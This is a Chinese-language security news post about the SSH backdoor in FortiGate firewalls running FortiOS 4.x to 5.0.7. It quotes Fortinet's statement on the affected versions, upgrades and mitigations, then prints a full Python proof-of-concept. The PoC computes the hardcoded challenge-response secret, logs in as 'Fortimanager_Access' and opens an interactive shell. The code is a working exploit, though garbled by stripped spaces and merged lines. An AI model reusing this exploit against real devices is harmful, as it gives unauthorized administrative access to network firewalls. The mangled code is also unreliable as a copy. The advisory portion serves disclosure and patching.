昨天下午国内安全圈传出的FortiGate(飞塔防火墙)4.x-5.07版本均存在SSH后门一事,早在上周六就在国外安全网站seclists.org曝光,并于11日贴出PoC(漏洞验证代码)。
据物联网搜索引擎ZoomEye昨晚的统计,互联网上飞塔防火墙设备含有后门的比例约为13.5%,牛君在此向已经忙碌一夜和即将不眠的安全圈小伙伴致敬,大家辛苦了,安全产品不安全啊!今日凌晨,飞塔官方紧急发出声明,称近日被公开安全问题早在14年7月被修复并给出补丁。
官方原文如下:近日被公开的这个安全问题已经被修复,并且在2014年7月作为Fortinet代码库质量和完整性确认约定的一部分中已经给出补丁。
这不是一个“后门”漏洞问题,而是认证管理问题。
这个问题已经被我们的产品安全团队在常规检查和测试中发现。
经过认真的分析和调查,我们可以确认这个问题不是由于任何组织,内部或外部产生的任何恶意行为导致的。
如果您正在使用:FortiOS v4.3.17 或任何FortiOS v4.3的更新版本 (2014年7月9日后发布的)FortiOS v5.0.8 或任何FortiOS v5.0的更新版本 (2014年7月28日后发布的)任何版本的 FortiOS v5.2 或v5.4您将不会受到这个问题的影响。
强调:1. 任何技术问题均可以致电:400-600-5255。
2. 如果用户所运行的FortiOS版本为受影响版本(不在声明中的版本覆盖范围内),我们建议用户升级/更新FortiOS版本到不受影响的版本:FortiOS 4.3: 升级到 FortiOS 4.3.17 或更新版本FortiOS 5.0: 升级到FortiOS 5.0.8 或更新版本或者:在所有接口上关闭SSH管理,只是用Web GUI替代,或者使用GUI上的console组件进行CLI接入。
如果SSH访问必须要进行,在5.0版本可以强制SSH访问只允许授权的IP地址访问,通过策略进行配置。
PoC见下:
- #!/usr/bin/envpython
- #SSHBackdoorforFortiGateOSVersion4.xupto5.0.7 #Usage:./fgt_ssh_backdoor.py<target-ip>
- importsocket
- importselect importsys
- importparamiko fromparamiko.py3compatimportu
- importbase64 importhashlib
- importtermios importtty
- defcustom_handler(title,instructions,prompt_list):
- n=prompt_list[0][0]m=hashlib.sha1() m.update(‘\x00′*12)
- m.update(n+‘FGTAbc11*xy+Qqz27′) m.update(‘\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70′)
- h=‘AK1′+base64.b64encode(‘\x00′*12+m.digest()) return[h]defmain():
- iflen(sys.argv)<2:print‘Usage:‘+sys.argv[0]+‘<target-ip>’
- exit(-1)
- client=paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- client.connect(sys.argv[1],username=”,allow_agent=False,look_for_keys=False) exceptparamiko.ssh_exception.SSHException:
- pass
- trans=client.get_transport() try:
- trans.auth_password(username=’Fortimanager_Access’,password=”,event=None,fallback=True) exceptparamiko.ssh_exception.AuthenticationException:
- pass
- trans.auth_interactive(username=’Fortimanager_Access’,handler=custom_handler) chan=client.invoke_shell()
- oldtty=termios.tcgetattr(sys.stdin)
- try: tty.setraw(sys.stdin.fileno())
- tty.setcbreak(sys.stdin.fileno()) chan.settimeout(0.0)
- whileTrue:
- r,w,e=select.select([chan,sys.stdin],[],[]) ifchaninr:
- try: x=u(chan.recv(1024))
- iflen(x)==0: sys.stdout.write(‘\r\n***EOF\r\n’)
- break sys.stdout.write(x)
- sys.stdout.flush() exceptsocket.timeout:
- pass ifsys.stdininr:
- x=sys.stdin.read(1) iflen(x)==0:
- break chan.send(x)
- finally:
- termios.tcsetattr(sys.stdin,termios.TCSADRAIN,oldtty) if__name__==‘__main__':
- main()